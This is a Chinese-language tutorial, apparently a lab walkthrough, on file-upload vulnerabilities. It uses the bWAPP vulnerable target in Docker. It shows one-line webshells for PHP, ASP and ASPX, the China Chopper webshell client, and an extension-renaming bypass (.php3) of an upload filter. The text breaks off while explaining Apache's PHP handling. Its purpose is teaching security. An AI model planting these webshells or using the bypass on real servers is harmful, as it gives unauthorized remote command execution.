Web安全-文件上传漏洞

文件上传漏洞是什么　

关键字：绕过

文件上传是大部分Web应用都具备的功能，例如用户上传附件，改头像，分享图片等

文件上传漏洞是在开发者没有做充足验证（包括前端、后端）情况下，运行用户上传恶意文件，这里上传的文件可以使木马、病毒、恶意脚本或者Webshell等

环境搭建（及靶机）

# 第一次启动
docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
docker run -d -p 0.0.0.0:80:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp

docker container list -a # 查看 container id
docker start xxx # xxx 就是上一步获得的 container id，运行完这条命令后，访问响应的网址即可

安装

点击here

安装成功，注册用户

选择最低级别的，文件上传，点击Hack

初级尝试攻击

准备一个简单的一句话木马

通过POST取得一个值，这个值是hacker里的一个值，将我们的值转换为PHP代码

演示上传，并演示这段代码的威力。

点击浏览---》选择shell.php，点击上传、

点击here，可以看到shell.php上传到images文件夹中

为什么回显是空的呢？因为这里是POST请求，没有携带任何参数。我们如何控制呢？

我们可以使用两个PHP函数，来测试我们的Webshell

get_current_user：获取当前用户名称
getcwd：获取当前路径地址

可以看到我们获取当前用户为www-data。

获取到当前执行目录

这里我们使用函数执行，工作效率太低，接来下使用中国菜刀。下载地址https://github.com/raddyfiy/caidao-official-version

打开中国菜刀

点击空白处添加

添加地址，指定hacker字段，点击添加，添加后双击打开

查看是否能够执行命令，点击链接右键，获取虚拟终端

不同语言的一句话木马

asp

<%execute(request("value"))%>

php

<?php @eval($_POST['hacker']); ?>

aspx

<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

其他

<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>

初探文件上传漏洞-->绕过

同样是file upload 上传页，设置为中级，点击set

我们还是上传之间的文件，看看是不是还能上传，点击浏览，选择之前的shell.php，点击upload

这里出现上传文件类型不允许。这时候我们要思考一下，限制文件类型，是限制文件后缀名，我们尝试一下其他后缀名是否可以上传。

将shell.php,复制一份叫shell.php3,看是否可以上传

点击上传，可以看到成功上传

我们上传的shell.php1 不是常规的php文件，能否执行我们的之句话木马的指令吗？我们是curl指令测试一下

其实这里，只能上传php3后缀的才能正常解析，我们看一下究竟是为什么。我们的靶机是通过apache2容器启动的，我们来看一下apache2的配置。web-server 不知道后端使用的什么语言，但是对后端语言是具有解析能力的。这是我们看apache2是如何解析php语言的，这样我们就知道为什么php3可以解析，而其他的不行。